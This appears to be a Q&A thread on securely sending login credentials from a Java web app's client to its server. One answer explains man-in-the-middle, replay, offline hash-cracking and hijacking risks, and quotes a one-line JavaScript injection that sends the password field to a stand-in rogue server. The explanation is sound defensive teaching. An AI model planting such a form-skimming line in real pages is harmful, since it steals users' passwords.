Web Authentication - How To Securely Transfer Username/password From The Client To The Server

I have a web application (Java) that I am trying to launch. The user needs to login to the system to use the features. So there are two parts to this application: 1) User Registrat

Solution 1:

It seems … overly complex. Just use SSL, it is the industry standard and good enough for banks.

Solution 2:

Whether it is "secure enough" is, of course, something only you can answer as the system owner. If your expected adversary is unskilled and unmotivated, and the impact of an authentication failure is low, then it is. If you are protecting anything of significant value, then it probably is not a sufficiently secure solution.

Here are a few attack vectors to which this approach would likely be vulnerable.

Man-in-the-middle attacks:

 Client          Eavesdropper            Server
 Requests token-------X----------------------->
 <--------------------X-------------Sends token
 Sends PW hash--------X
                      Relays client hash ------>
                      X<-----------Authenticates

An eavesdropper listens for the client's authentication response, and then relays it to the server. The server verifies its correctness and authenticates the eavesdropper.

Offline password hash attacks

An eavesdropper who can read messages between the client and server will have the token and the logic (from the JavaScript) used to generate the hash. Thus, the attacker will know H(token + H(password)), token, and H(x) where H is the cryptograph hash algorithm (SHA1).

The attacker can then run a dictionary attack against the client response to guess the password, where the attacker can attempt to crack the password offline using dictionary attacks and similar methods. Since the attacker does not need to authenticate against the server but can rather crack the password offline, moderate-weak passwords can be quickly cracked.

Modification of server messages in transit

The client has no assurance of the integrity of the server's messages, and the messages can potentially be modified in transit. For instance, a malicious intermediary can insert a line of JavaScript into the HTML page that intercepts the password through the DOM and sends it to a rogue server. (A rogue intermediary might, for example, insert new Image().src='http://www.rogueserver.xy/a.gif?password=' + document.forms[0].password.value into the form submit method.)

Replay attacks

If the server tokens repeat with sufficient frequency, an eavesdropper can capture a successful token/response pair. The attacker can then make a large number of token requests, waiting for a known token to be recycled. The attacker then replays the known token response to the server. The server compares the attacker's response against the expected response and authenticates the attacker.

Post-authentication attacks

After the session is authenticated, client and server messages continue to be sent in cleartext. The attacker might conduct a session hijacking attack, using the client's session cookie to pose as the authenticated client. The attacker might also intercept confidential data between the server and client, or change data in transit, compromising the confidentiality, integrity, and non-repudiation of the client/server communication. For instance, the client might send a response to perform BenignAction, which the attacker changes in transit to GetSecretData. The attacker then reads the response ostensibly containing secret data.

This is all to say that the proposed method may not be much more secure than sending the password in clear text. If security is a concern, using SSL with a certificate from a trusted CA would (for practical intents) effectively prevent all of these attacks.

Solution 3:

@Quentin posted that SSL is good, and what is used, in the industry today. It is the easiest of the security methods to implement, but for me it's only gets a grade of C or worse for being secure. Bank apps, and other sites, uses stronger security methods depending on the info you are trying to secure.

For instance, StackOverflow.com uses standard POST forms to create users and secures the traffic via SSL. This is good enough for a site that only is a community knowledgebase site. Example POST:

POST https://stackoverflow.com/users/login-or-signup/validation/track         
HTTP/1.1
Content-Type: application/x-www-form-urlencodedAccept: */*X-Requested-With: XMLHttpRequestReferer: https://stackoverflow.com/users/signup?returnurl=http%3a%2f%2fstackoverflow.com%2fquestions%2f9008997%2fweb-authentication-how-to-securely-transfer-username-password-from-the-clientAccept-Language: en-USAccept-Encoding: gzip, deflateHost: stackoverflow.comContent-Length: 240Connection: Keep-AliveCache-Control: no-cache

isSignup=true&isLogin=false&isPassword=false&isAddLogin=false&hasCaptcha=false&fkey=asd231232s30b71ead6f8af06f93b85c&legalLinksShown=1&displayname=[MyScreeName]&email=[MyEmail]&password=[SOMEPASSWORD]&password2=[SOMEPASSWORD]&submitbutton=Sign

Banks, on the other hand, like the Wells Fargo App, will binary serialize, private client key encrypt, and SSL the form traffic. It is a bit like, "Security by Obscurity", but it is better than just SSL. My 2Cents. Cheers!